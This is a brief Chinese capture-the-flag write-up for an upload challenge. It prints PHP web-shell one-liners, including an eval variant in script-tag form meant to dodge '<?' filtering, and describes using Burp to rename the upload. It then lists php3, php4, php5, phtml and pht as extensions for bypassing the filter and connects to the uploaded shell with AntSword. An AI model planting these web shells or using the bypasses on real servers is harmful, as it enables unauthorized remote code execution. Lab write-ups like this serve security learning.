[极客大挑战 2019]Upload

看到后的第一印象肯定是先上传图片马试试
<?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?>

构造的语句中不能带有<?这样的话只能是构造一些其他语句了
<script language="php">eval($_POST['shell']);</script>

上传的格式为image,使用bp抓包进行修改
修改文件名为php格式




绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
依此尝试


经过尝试.phtml格式可以上传








上传路径存在，使用蚁剑进行链接








这也太多了。。。。。终端进行搜索